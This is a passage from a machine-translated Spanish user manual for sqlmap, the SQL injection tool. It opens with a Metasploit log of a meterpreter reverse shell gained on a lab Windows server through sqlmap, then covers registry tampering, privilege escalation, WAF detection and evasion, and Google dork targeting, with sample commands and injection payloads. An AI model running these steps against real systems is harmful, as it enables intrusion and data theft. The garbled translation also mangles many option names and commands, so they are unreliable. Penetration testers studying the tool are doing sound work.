= [Metasploit v3.7.0-dev [core: 3.7 API: 1,0]


+ - - = [674 - 351 exploits auxiliar
+ - - = [217 cargas tiles - 27 - 8 codificadores NOPS
= [SVN r12272 actualizado hace 4 das (2011.04.07)

CARGA => ventanas / meterpreter / reverse_tcp


EXITFUNC => hilo
Lport => 60641
LHOST => 192.168.136.1
[*] Iniciado manejador inversa en 192.168.136.1:60641
[*] Inicio del controlador de carga til ...
[Hh: mm: 48] [INFO] corriendo Metasploit Framework cdigo shell remota a travs
de sys_b UDF '
ineval ', por favor espere ..
[*] Envo de la etapa (749056 bytes) de 192.168.136.129
[*] Sesin Meterpreter 1 abierto (192.168.136.1:60641 -> 192.168.136.129:1689)
una
t Lun Abr 11 hh: mm: 52 0100 2011

meterpreter> Cargando extensin espia ... xito.


meterpreter> Cargando extensin de incgnito ... xito.
meterpreter> [-] La extensin 'priv' ya se ha cargado.
meterpreter> Cargando extensin sniffer ... xito.
meterpreter> Idioma del sistema: es
SO: Windows Server (Build 3790, Service Pack 2).
Ordenador: W2K3R2
Arquitectura: x86
Meterpreter: x86 / win32
meterpreter> nombre de usuario del servidor: NT AUTHORITY \ SYSTEM
meterpreter> ipconfig

MS interfaz de bucle invertido TCP


Hardware MAC: 00: 00: 00: 00: 00: 00
Direccin IP: 127.0.0.1
Mscara de red: 255.0.0.0

Intel (R) PRO / 1000 MT de conexin de red


Hardware MAC: 00: 0c: 29: fc: 79: 39
Direccin IP: 192.168.136.129
Mscara de red: 255.255.255.0

meterpreter> exit

[*] Sesin Meterpreter 1 cerrado. Motivo: Salida de usuario


Por defecto de MySQL en Windows se ejecuta como SISTEMA , sin embargo
PostgreSQL se ejecuta como un usuario con privilegios bajos postgres en
Windows y Linux. Microsoft SQL Server 2000 ejecuta de forma predeterminada
como SISTEMA , mientras que Microsoft SQL Server 2005 y 2008 se ejecuta la
mayor parte de las veces como Servicio de red y, a veces como SERVICIO LOCAL .
Es posible proporcionar sqlmap con el interruptor --priv-esc para llevar a cabo
un proceso de base de datos 'escalada de privilegios de usuario a travs de
Metasploit getSystem de comandos que incluyen, entre otros, el kitrap0d tcnica
( MS10-015 ).

el acceso al registro de Windows


Es posible acceder a Registro de Windows cuando el sistema de gestin de base
de datos back-end puede ser MySQL, PostgreSQL o Microsoft SQL Server, y
cuando la aplicacin web compatible con las consultas apilados. Adems, la
sesin de usuario tiene que tener los privilegios necesarios para acceder a ella.

Leer un valor de clave de registro de Windows


Cambiar: --reg lectura
El uso de este interruptor se puede leer los valores de clave de registro.

Escribe un valor de clave de registro de Windows


Cambiar: --reg-add
El uso de este interruptor se puede escribir los valores de clave de registro.

Eliminacin de una clave del registro de Windows


Cambiar: --reg-del
El uso de este interruptor puede eliminar las claves de registro.

Opciones de registro auxiliares


Opciones: --reg-clave , --reg-valor , --reg-datos y de tipo --reg
Estas opciones se pueden utilizar para proporcionar los datos necesarios para el
buen funcionamiento de los interruptores --reg lectura , --reg-add y --reg-
del . As, en lugar de proporcionar informacin clave de registro cuando se le pide,
puede usarlos en smbolo del sistema como argumentos del programa.
Con la tecla --reg- opcin se especifica utilizarn rutas de acceso clave del
registro de Windows, con --reg valor nombre del elemento de valor en el interior
provisto de llave, con ---reg datos de datos de valor, mientras que con el tipo --
reg opcin especifica el tipo de la elemento de valor.
Una lnea de comandos de ejemplo para aadir una seccin de Registro clave de
la siguiente manera:
$ Python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 -R \
por ejemplo, aadir --reg-key = "HKEY_LOCAL_MACHINE \ SOFTWARE \ sqlmap" --reg-
valor = Prueba --reg-ty \
pe = REG_SZ --reg-data = 1

General
Estas opciones se pueden utilizar para establecer algunos parmetros generales
de trabajo.

sesin de la carga de un archivo almacenado


(.sqlite)
Opcin: -s
sqlmap crea automticamente un archivo de sesin SQLite constante para cada
objetivo, dentro del directorio de salida especializada, donde se almacenan todos
los datos necesarios para la sesin resumal. Si el usuario quiere establecer
explcitamente la localizacin del archivo de sesin (por ejemplo, para el
almacenamiento de datos de sesin para mltiples objetivos en un solo lugar) se
puede usar esta opcin.

Iniciar una sesin HTTP (s) trfico a un archivo de


texto
Opcin: -t
Esta opcin requiere un argumento que especifica el archivo de texto para escribir
todo el trfico HTTP (s) generado por sqlmap - peticiones HTTP (S) y (S)
respuestas HTTP.
Esto es til principalmente para fines de depuracin - cuando se proporciona a los
desarrolladores con un potencial de informe de error, enviar el archivo tambin.

Actuar de modo no interactivo


Cambiar: --batch
Si desea sqlmap para funcionar como una herramienta de proceso por lotes, sin la
intervencin de cualquier usuario cuando sqlmap lo requiere, puede forzar a que
mediante el uso del interruptor --batch . Esto dejar sqlmap ir con un
comportamiento por defecto cada vez que se requerira de entrada del usuario.

la recuperacin de contenido binario


Opcin --binary campos
En el caso de la recuperacin de contenido binario, como en el ejemplo de las
tablas que tienen la columna (s) con los valores binarios almacenados (por
ejemplo, la columna contrasea con los valores hash de la contrasea
almacenados binarios), es posible utilizar la opcin --binary campos de manejo
(extra) adecuado por sqlmap. Todos esos campos (es decir, las columnas de tabla
a continuacin) se recuperan y se representan en su representacin hexadecimal,
por lo que posteriormente podran ser procesadas adecuadamente con otras
herramientas (por ejemploJohn ).

Fuerza de codificacin de caracteres utilizado para


la recuperacin de datos
Opcin: --charset
Para la decodificacin adecuada de los datos de carcter sqlmap utiliza ya sea
servidor proporcionado informacin de Internet (por ejemplo, cabecera
HTTP Content-Type ) o un resultado heurstica proveniente de una tercera parte de
la biblioteca Chardet .
Sin embargo, hay casos en los que este valor tiene que ser sobrescritos,
especialmente cuando la recuperacin de datos que contiene las cartas
internacionales que no son ASCII (por ejemplo --charset = GBK ). Se ha de sealar
que hay una posibilidad de que la informacin de caracteres que va a ser
irreversible perdido debido a la incompatibilidad implcita entre el contenido de la
base de datos se almacena y conector de base de datos utilizada en el lado de
destino.

Rastrear el sitio web a partir de la direccin URL de


destino
Opcin: --crawl
sqlmap puede recopilar enlaces potencialmente vulnerables por su recogida
(rastreo) a partir de la ubicacin de destino. El uso de este usuario opcin puede
establecer una profundidad (distancia desde un lugar de partida) por debajo del
cual no va a sqlmap en la recogida de fase, ya que el proceso se est haciendo de
forma recursiva, siempre y cuando hay nuevos enlaces que se pueden visitar.

Ejemplo de gestin frente a un objetivo de MySQL:


$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl = 3
[...]
[Xx: xx: 53] [INFO] rastreador de partida
[Xx: xx: 53] [INFO] en busca de enlaces con la profundidad 1
[Xx: xx: 53] [ADVERTENCIA] se ejecuta en un modo de un solo hilo. Esto podra
tomar un tiempo
[Xx: xx: 53] [INFO] en busca de enlaces con la profundidad 2
[Xx: xx: 54] [Info] heursticos detectan la pgina web de juego de caracteres
'ascii'
[Xx: xx: 00] [INFO] 42/56 enlaces visitados (75%)
[...]
Opcin --crawl-excluir
Con esta opcin se puede excluir pginas de rastreo, proporcionando una
expresin regular. Por ejemplo, si desea omitir todas las pginas que tienen la
palabra clave cierre de sesin en sus caminos, puede utilizar --crawl-exclude =
cierre de sesin .

La delimitacin de caracteres utilizado en la


produccin de CSV
Opcin: --csv-del
Cuando los datos objeto de dumping es almacenado en el formato CSV ( --dump-
format = CSV ), las entradas tienen que ser separados con un "valor de separacin"
(por defecto es , ). En caso de que el usuario quiere anular su valor por defecto se
puede usar esta opcin (por ejemplo --csv-del = ";" ).

las credenciales de autenticacin de DBMS


Opcin: --dbms-CRED
En algunos casos, el usuario ser advertido de que algunas operaciones
fracasaron debido a la falta de privilegios de usuario DBMS actuales y que podra
tratar de usar esta opcin. En esos casos, si se proporciona de
administracin credenciales de usuario para sqlmap mediante el uso de esta
opcin, sqlmap tratar de volver a ejecutar la parte problemtica con especializada
"ejecutar como" mecanismos (por ejemplo OPENROWSET en Microsoft SQL Server)
usando esas credenciales.

Formato de los datos objeto de dumping


Opcin: --dump-formato
sqlmap es compatible con tres tipos diferentes de formato a la hora de almacenar
datos de la tabla objeto de dumping en el archivo correspondiente que hay en un
directorio de salida: CSV , HTML ySQLITE . Que viene por defecto es CSV , donde cada
fila de la tabla se almacena en un archivo de texto lnea por lnea, y donde cada
entrada est separada por una coma , (o uno proporcionado con la opcin --csv-
del ). En caso de HTML , la salida se almacena en un archivo HTML, donde cada fila
se representa con una fila dentro de una tabla con formato. En caso deSQLITE , la
salida se almacena en una base de datos SQLite, donde el contenido de la tabla
original se replica en la tabla correspondiente que tiene un mismo nombre.

Tiempo estimado de llegada


Cambiar: --eta
Es posible calcular y mostrar en tiempo real la hora estimada de llegada para
recuperar cada salida de la consulta. Esto se muestra cuando la tcnica utilizada
para recuperar la salida es cualquiera de los tipos de inyeccin de SQL ciegos.

Ejemplo contra un objetivo Oracle afectado slo por inyeccin SQL ciega basada
en booleana:
$ Python sqlmap.py -u "http:? //192.168.136.131/sqlmap/oracle/get_int_bool.php
ID \
= 1 "-b --eta

[...]
[Hh: mm: 01] [INFO] el DBMS es Oracle
[Hh: mm: 01] [INFO] bandera ir a buscar
[Hh: mm: 01] [INFO] recuperar la longitud de salida de la consulta
[Hh: mm: 01] [INFO] recuperada: 64
17% [========>] 11/64 ETA doce y diecinueve
Entonces:
100% [=============================================== ====] 64/64
[Hh: mm: 53] [INFO] recuperado: Oracle Database 10g Enterprise Edition Release
10.2
.0.1.0 - Prod

La tecnologa de aplicaciones web: PHP 5.2.6, 2.2.9 Apache


back-end DBMS: Oracle
banner: 'Base de Datos Oracle 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
Como se puede ver, sqlmap primero calcula la longitud de la salida de la consulta,
a continuacin, calcula la hora de llegada, muestra el progreso en porcentaje y
cuenta el nmero de caracteres de salida recuperados.

Lavar los archivos de sesin


Opcin: --flush de sesiones
Como ya est familiarizado con el concepto de un archivo de sesin de la
descripcin anterior, es bueno saber que se puede vaciar el contenido de ese
archivo usando la opcin --flush de sesiones . De esta manera se pueden evitar
los mecanismos de cach implementadas por defecto en sqlmap. Otra forma
posible es eliminar manualmente el archivo (s) sesin.

Analizar y campos de entrada de formularios de


prueba '
Switch: --forms
Digamos que usted desea probar las inyecciones de SQL contra una
enorme bsqueda o desea probar un bypass de inicio de sesin (por lo general
slo dos campos de entrada con un nombre como nombre de
usuario y contrasea ), puede pasar al sqlmap la solicitud en un archivo de
solicitud ( r ) , ajustar los datos publicados en consecuencia ( --Hojas ) o dejar que
sqlmap lo haga por usted!
Ambos de los casos mencionados anteriormente, y muchos otros, aparecen
como <form> y<input> etiquetas en los rganos de respuesta HTML y aqu es
donde este interruptor entra en juego.
Proporcionar sqlmap con --forms , as como la pgina en la forma como se puede
encontrar la URL de destino ( -u ) y sqlmap solicitar la URL de destino para
usted, analizar las formas que tiene y guiar a travs de la prueba de inyeccin
SQL en los campos de formulario de entrada (parmetros) en lugar de la direccin
URL de destino previsto.

Ignorar resultados de la consulta almacenados en


el archivo de sesin
Interruptor: --fresh-consultas
Como ya est familiarizado con el concepto de un archivo de sesin de la
descripcin anterior, es bueno saber que puede pasar por alto el contenido de ese
archivo usando la opcin --fresh-consultas . De esta manera se puede mantener
el archivo de sesin sin tocar y para una carrera seleccionada, evitar la
reanudacin / restauracin de la salida de las consultas.

Utilice la funcin hexagonal DBMS (s) para la


recuperacin de datos
Cambiar: --hex
En los casos perdidos de recuperacin de datos no ASCII requiere necesidades
especiales. Una solucin para este problema es el uso de la funcin hex DBMS
(s). Excitado por este interruptor, los datos se codifica a su forma hexadecimal
antes de ser recuperado y despus sin codificar a su forma original.

Ejemplo frente a un objetivo de PostgreSQL:


$ Python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b
\
Anner --hex -v 3---parse errores

[...]
[Xx: xx: 14] [INFO] bandera ir a buscar
[Xx: xx: 14] [CARGA] 1 Y = 5849 CAST ((CHR (58) || CHR (118) || CHR (116) || CHR
(106) || CHR
(58)) || (ENCODE (convert_to ((COALESCE (CAST (VERSION () como el personaje
(10000)), (CHR (32)
))), (CHR (85) || CHR (84) || CHR (70) || CHR (56))), (CHR (72) || CHR (69) ||
CHR (88)))) :: texto || (
CHR (58) || CHR (110) || CHR (120) || CHR (98) || CHR (58)) como numricos)
[Xx: xx: 15] [INFO] analiza el mensaje de error: "pg_query () [<a href =
'function.pg-consulta'
> Function.pg-consulta </a>]: Error en la consulta: ERROR: sintaxis de entrada
vlido para este tipo num
Eric: ": VTJ:
506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32: nxb: "en <b>
/var/www/sqlmap/libs/pgsql.inc.p
CV </ b> en la lnea <b> 35 </ b> '
[Xx: xx: 15] [INFO] recuperado: PostgreSQL 8.3.9 en i486-pc-linux-gnu, compilado
por
GCC GCC-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

ruta del directorio de salida personalizado


Opcin: --output-dir
sqlmap por sesin de almacenes predeterminados y archivos de resultados dentro
de un subdirectorio de salida . En caso de que desee utilizar una ubicacin
diferente, puede utilizar esta opcin (por ejemplo --output-dir = / tmp ).

Analizar los mensajes de error de DBMS de


pginas de respuesta
Interruptor: --parse-errors
Si la aplicacin web est configurado en modo de depuracin para que muestre en
las respuestas HTTP los mensajes de error del sistema de gestin de base de
datos back-end, sqlmap pueden analizar y mostrar ellos para usted.

Esto es til para propsitos de depuracin como entender por qu un determinado


enumeracin o el interruptor de toma de control no funciona - que podra ser una
cuestin de privilegios de la sesin del usuario y en este caso se vera un mensaje
de error de DBMS a lo largo de las lneas de acceso denegado para el usuario
<SESIN DE USUARIO > .
Ejemplo frente a un objetivo de Microsoft SQL Server:
$ Python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
\
--parse-errors
[...]
[Xx: xx: 17] [INFO] ORDER BY tcnica parece ser utilizable. Esto debera reducir
la
timeneeded para encontrar el nmero correcto de columnas de la consulta. que se
extiende de forma automtica TH
e rangefor prueba tcnica de inyeccin consulta UNION actual
[Xx: xx: 17] [INFO] analiza el mensaje de error: "Proveedor Microsoft OLE DB
para ODBC Driv
ERS (0x80040E14)
[Microsoft] [ODBC SQL Server Driver] [SQL Server] El ORDER BY posicin nmero 10
i
s fuera del rango del nmero de elementos de la lista de seleccin.
<B> /sqlmap/mssql/iis/get_int.asp, lnea 27 </ b> '
[Xx: xx: 17] [INFO] analiza el mensaje de error: "Proveedor Microsoft OLE DB
para ODBC Driv
ERS (0x80040E14)
[Microsoft] [ODBC SQL Server Driver] [SQL Server] El ORDER BY posicin nmero 6
es
fuera del alcance de la cantidad de elementos en la lista de seleccin.
<B> /sqlmap/mssql/iis/get_int.asp, lnea 27 </ b> '
[Xx: xx: 17] [INFO] analiza el mensaje de error: "Proveedor Microsoft OLE DB
para ODBC Driv
ERS (0x80040E14)
[Microsoft] [ODBC SQL Server Driver] [SQL Server] El ORDER BY posicin nmero 4
es
fuera del alcance de la cantidad de elementos en la lista de seleccin.
<B> /sqlmap/mssql/iis/get_int.asp, lnea 27 </ b> '
[Xx: xx: 17] [INFO] URL de destino parece tener 3 columnas en la consulta
[...]

Guardar las opciones en un archivo de


configuracin INI
Opcin: --save
Es posible guardar las opciones de lnea de comandos en un archivo INI de
configuracin. El archivo generado se puede editar y se pasa a sqlmap con el -
c opcin como se explic anteriormente.

actualizacin sqlmap
Cambiar: --update
El uso de esta opcin puede actualizar la herramienta a la ltima versin de
desarrollo directamente desde el repositorio Git . Obviamente, se necesita
conexin a Internet.

Si, por cualquier razn, esta operacin falla, ejecuta git pull de su copia de
trabajo sqlmap. Se llevar a cabo la misma operacin del interruptor de --
update . Si est ejecutando sqlmap en Windows, puede utilizar el SmartGit cliente.
Esto es muy recomendable antes de informar sobre cualquier error a las listas de
correo .

Diverso
Utilice mnemotcnicos cortos
Opcin: -z
Podra llegar a ser tedioso para escribir todas las opciones e interruptores
deseados, especialmente para aquellos que se utilizan con mayor frecuencia (por
ejemplo --batch --random-agente --ignore-proxy = --technique BEA ). Hay una
manera ms simple y mucho ms breve cmo hacer frente a ese problema. En
sqlmap se llama "mnemnicos".
Cada opcin y el interruptor se pueden escribir en una forma mnemotcnica ms
corto utilizando la opcin -z , separados por una coma ( , ), donde mnemotcnicos
representan slo la primera parte arbitrariamente elegido del nombre original. No
hay ninguna asignacin estricta de opciones e interruptores a sus respectivos
homlogos acortados. nica condicin requerida es que no hay otra opcin ni
interruptor que tiene un mismo prefijo que el deseado.
Ejemplo:
$ Python sqlmap.py --batch --random-agente --ignore-proxy = --technique BEA -u
"ww \
w.target.com/vuln.php?id=1 "
se puede escribir (una de muchas maneras) en forma mnemotcnica ms corto,
como:
$ Python sqlmap.py -z "bat, randoma, IGN, tec = BEA" -u
"www.target.com/vuln.php~~V~~3rd? Id = \
1 "
Otro ejemplo:
$ Python sqlmap.py --ignore-proxy---flush sesin --technique = T --dump -D testd
\
b usuarios -T -u "www.target.com/vuln.php?id=1"
puede escribirse de forma ms corta mnemotcnica como:
$ Python sqlmap.py -z "IGN, la gripe, el palo, tec = T, descarga, D = testdb, T
= users" -u www.target ". \
com / vuln.php? id = 1 "

Alertando sobre la deteccin de inyeccin SQL


xito
Opcin: --alert

Set respuestas para las preguntas


Opcin: --answers
En caso de que el usuario quiere configurar automticamente respuestas para las
preguntas, incluso si --batch se utiliza, el uso de esta opcin puede hacerlo
proporcionando cualquier parte de la pregunta, junto con la respuesta despus de
un signo igual. Adems, las respuestas de diferentes cuestin se pueden dividir
con carcter delimitador , .
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --te
\
--answers chnique = E = "que se extiende = N" --batch
[...]
[Xx: xx: 56] [INFO] pruebas de inyeccin SQL en GET parmetro 'id'
prueba heurstica (anlisis) mostr que el DBMS de back-end podran ser 'MySQL'.
Vos si
quiera saltarse las cargas tiles de ensayo especficos para otros DBMS? [Y / n]
Y
[Xx: xx: 56] [INFO] desea incluir todas las pruebas para 'MySQL' que se
extiende proporcionar
d nivel (1) y el riesgo (1)? [Y / n] N
[...]

Hacer un pitido cuando se encuentra de inyeccin


SQL
Cambiar: ni --beep ni
En caso de que el usuario utiliza el interruptor ni --beep ni que va a ser advertido
mediante un pitido cuando se encuentra inmediatamente la inyeccin de
SQL. Esto es especialmente til cuando hay una lista de gran volumen (opcin -m )
de las URL de destino para ser probado.

Limpieza de los DBMS UDF sqlmap especfico (s) y


la mesa (s)
Cambiar: --cleanup
Se recomienda limpiar el sistema de gestin de base de datos back-end de la
tabla (s) sqlmap temporal y funcin definida por el usuario creado (s) cuando haya
terminado de asumir el control del sistema operativo subyacente o del sistema de
archivos. Cambiar --cleanup intentar limpiar el DBMS y el sistema de archivos
siempre que sea posible.

Compruebe si hay dependencias


Cambiar: --dependencies
sqlmap en algunos casos especiales requiere una instalacin independiente de
bibliotecas adicionales 3 parte (por ejemplo, opciones -d , cambian --os-pwn en
caso de icmpsh tnel, opcin --auth tipo en caso de NTLM tipo de autenticacin
HTTP, etc.) y advertir al usuario slo en esos casos especiales. Pero, si usted
quiere comprobar de forma independiente para todas aquellas dependencias
adicionales 3 parte de la biblioteca se pueden utilizar los interruptores --
dependencies .
$ Python sqlmap.py --dependencies
[...]
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'python-
KInterbasDB' en
Para conectar directamente a la DBMS Firebird. Descargar de http: // kinterbasd
b.sourceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pymssql' biblioteca de
terceros en ord
er para conectar directamente al SGBD Sybase. Descargar de http:
//pymssql.sourcefo
rge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros '' pitn
pymysql en ord
er para conectar directamente a la DBMS MySQL. Descargar de
https://github.com/peteh
UNT / PyMySQL /
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'pitn
cx_Oracle' en O
rder para conectar directamente a la base de datos Oracle. Descargar de http:
//cx-oracle.sour
ceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'python-
psycopg2' en o
der para conectar directamente al SGBD PostgreSQL. Descargar de
http://initd.org/p
sycopg /
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'pitn IBM-db'
in orde
r para conectar directamente a la DBMS DB2 de IBM. Descargar de
http://code.google.com/
p / IBM-db /
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'pitn jaydebeapi y python-jpype
"tercer-pa
rty biblioteca con el fin de conectar directamente a la DBMS HSQLDB. Descargar
de https
: //pypi.python.org/pypi/JayDeBeApi/ Y http://jpype.sourceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pyodbc' biblioteca de
terceros en el orde
r para conectar directamente al DBMS de Microsoft Access. Descargar de http: //
pyodbc.
googlecode.com/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pymssql' biblioteca de
terceros en ord
er para conectarse directamente al servidor de Microsoft SQL DBMS. Descargar de
http: // py
mssql.sourceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'python-ntlm'
si pl
un ataque a una aplicacin web detrs de la autenticacin NTLM. Descargar de
http: //
code.google.com/p/python-ntlm/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'WebSocket-
cliente' si y
ou plan para atacar a una aplicacin web utilizando WebSocket. Descargar de
https: // PyPI.
python.org/pypi/websocket-client/

colorear salida de la consola Desactivar


Cambiar: --disable-colorear
sqlmap por defecto utiliza para colorear el momento de escribir a la consola. En
caso de efectos no deseados (por ejemplo, la apariencia de la consola de cdigos
ANSI para colorear no interpretados como \ x01 \ X1B [0; 32m \ x02 [INFO] ) se
puede desactivar la salida de la consola para colorear usando esta variable.

Usar los resultados de Google dork del nmero de


pgina especificado
Opcin: --gpage
El comportamiento por defecto sqlmap con la opcin -g es hacer una bsqueda en
Google y utilizar los primeros 100 URL resultantes de realizar ms pruebas de
inyeccin SQL. Sin embargo, en combinacin con esta opcin se puede
especificar con esta opcin ( --gpage ) una pgina que no sea la primera de ellas
para recuperar las URL de destino de.

Utilice la contaminacin parmetro HTTP


Cambiar: --hpp
Contaminacin parmetro HTTP (HPP) es un mtodo para pasar por los
mecanismos de proteccin WAF / IPS / IDS (que se explica aqu ) que es
particularmente eficaz contra ASP / IIS y plataformas
ASP.NET/IIS~~number=plural. Si sospecha que el objetivo est detrs de esa
proteccin, se puede tratar de eludirlo utilizando este interruptor.

Hacer una prueba a travs de una proteccin WAF /


IPS / IDS
Cambiar: --identify-WAF
sqlmap puede tratar de identificar backend proteccin WAF / IPS / IDS (si lo hay)
para que el usuario pudiera hacer las medidas adecuadas (por ejemplo, utilizan
secuencias de comandos de manipulacin con --tamper ). Actualmente, alrededor
de 30 productos diferentes son compatibles (bolsa de aire, Barracuda WAF, etc.) y
sus respectivos guiones WAF se pueden encontrar dentroWAF directorio.
Ejemplo de MySQL contra un objetivo protegido por la ModSecurity WAF:
$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --
que \
dentify-WAF -v 3
[...]
[Xx: xx: 23] [INFO] comprobar la conexin a la URL de destino
[Xx: xx: 23] [Info] heursticos detectan la pgina web de juego de caracteres
'ascii'
[Xx: xx: 23] [INFO] el uso de scripts para detectar WAF backend proteccin WAF /
IPS / IDS
[Xx: xx: 23] [DEBUG] comprobacin de la FAT / IDS / IPS producto 'USP seguro
servidor de entrada (Des
Proveedores de seguridad ITED) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS 'BinarySEC de
aplicaciones web F
irewall (BinarySEC) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS 'NetContinuum
Web applicatio
n Firewall (NetContinuum / Barracuda Networks) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS "Aplicacin
Web Hyperguard
Firewall (arte de la defensa Inc.) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS de Cisco ACE
XML Gateway (CISC
o Sistemas) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS
'TrafficShield (F5 Networks)
'
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS 'Teros /
Citrix Application Fi
cortafuegos Empresa (Teros / Citrix Systems) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS "Soluciones
de seguridad Kona (Ak
amai Technologies) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS 'Incapsula de
aplicaciones web F
irewall (Incapsula / Imperva) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS "Aplicacin
Web CloudFlare
Firewall (CloudFlare) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS 'Barracuda
Web Application F
irewall (Barracuda Networks) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS
'webApp.secure (webScurity)'
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS Proventia Web
Application S
eguridad (IBM) '
[Xx: xx: 23] [DEBUG] declarado pgina web charset "iso-8859-1"
[Xx: xx: 23] [DEBUG] pgina no encontrada (404)
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS 'KS-WAF
(Knownsec)'
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS 'NetScaler
(Citrix Systems)'
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS 'Jiasule de
aplicaciones web de abeto
ewall (Jiasule) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS 'WebKnight
Aplicacin Firew
todos (AQTRONIX) '
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS 'AppWall
(Radware)'
[Xx: xx: 23] [DEBUG] comprobacin para el producto WAF / IDS / IPS "ModSecurity:
Open Source Nosotros
b Application Firewall (Trustwave) '
[Xx: xx: 23] [CRTICA] WAF / IDS / IPS identifica 'ModSecurity: Web Appli Open
Source
cacin Firewall (Trustwave) '. Por favor, considere el uso de secuencias de
comandos de manipulacin indebida (opcin '-
-manosear')
[...]
Saltar deteccin heurstica de la proteccin WAF / IPS / IDS

Interruptor: --skip-WAF
De forma predeterminada, sqlmap enva automticamente dentro de uno de
partida solicita un valor de parmetro ficticio que contiene una carga til de
inyeccin SQL "sospechosos" de manera deliberada (por ejemplo ... y foobar = Y
1 = 1 UNION ALL SELECT 1,2,3, nombre_tabla WHERE DE INFORMATION_SCHEMA.TABLES 2>
1 ). Si el objetivo responde de manera diferente que para la solicitud original, hay
una alta posibilidad de que est bajo algn tipo de proteccin. En caso de
cualquier problema, el usuario puede desactivar este mecanismo, proporcionando
interruptor --skip-WAF .

imitar telfono inteligente


Cambiar: --mobile
A veces, los servidores web exponen diferentes interfaces hacia los telfonos
mviles que a los ordenadores de sobremesa. En tales casos se puede hacer
cumplir el uso de uno de los valores de la cabecera User-Agent telfono inteligente
HTTP predeterminados. Mediante el uso de este interruptor, sqlmap le pedir que
elija uno de los telfonos inteligentes populares que se va a imitar en la ejecucin
actual.

Ejemplo de ejecucin:
$ Python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
el cual su smartphone es lo que desea sqlmap imitar a travs de HTTP cabecera
User-Agent?
[1] Apple iPhone 4s (por defecto)
[2] BlackBerry 9900
[3] Nexus 7 Google
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

El trabajo en modo fuera de lnea (slo utilizar los


datos de sesin)
Cambiar: --offline
Mediante el uso de interruptor de --offline sqlmap va a utilizar nicamente los
datos de la sesin anterior en la enumeracin de datos. Esto bsicamente significa
que habr cero intentos de conexin durante dicho plazo.

fila de la pgina de visualizacin (PR) para los


resultados de Google dork
Cambiar: --page-rank
Realiza pide adems a Google cuando -g es suministrada fila de la pgina de
visualizacin (PR) para los resultados de Google dork.

Extraccin segura de todo el contenido de un


directorio de salida
Cambiar --purge-salida
En caso de que el usuario decida retirar de forma segura todo el contenido de la
salida del directorio, que contiene todos los detalles del objetivo de carreras
sqlmap anteriores, se puede utilizar el interruptor --purge-salida . Mientras se
purga, todos los archivos de (sub) directorios de la carpeta de salida se
sobrescribirn con datos aleatorios, truncadas, han cambiado de nombre a los
nombres al azar, (sub) directorios se cambiar el nombre de nombres aleatorios
tambin, y finalmente se eliminarn todo el rbol de directorios.
Ejemplo de ejecucin:
$ Python sqlmap.py --purge-salida -v 3
[...]
[Xx: xx: 55] [INFO] purgar el contenido del directorio '/ home / usuario /
sqlmap / salida' ...
[Xx: xx: 55] [DEBUG] cambiantes atributos de archivo
[Xx: xx: 55] [DEBUG] escribiendo datos aleatorios en los archivos
[Xx: xx: 55] [DEBUG] archivos que truncan
[Xx: xx: 55] [DEBUG] nombres de archivo de cambio de nombre a valores aleatorios
[Xx: xx: 55] [DEBUG] nombres de directorio de cambio de nombre a valores
aleatorios
[Xx: xx: 55] [DEBUG] borrar todo el rbol de directorios
[...]

Llevar a cabo a travs de pruebas slo si heurstica


(s) positivo
cambiar --smart
Hay casos en que el usuario tiene una larga lista de posibles direcciones URL de
destino (por ejemplo, proporcionado con la opcin -m ) y quiere encontrar un
blanco vulnerable lo ms rpido posible. Si el interruptor --smart se utiliza, slo los
parmetros con los que DBMS error (s) puede ser provocado, se estn utilizando
ms en las exploraciones. De lo contrario, se omiten.
Ejemplo frente a un objetivo de MySQL:
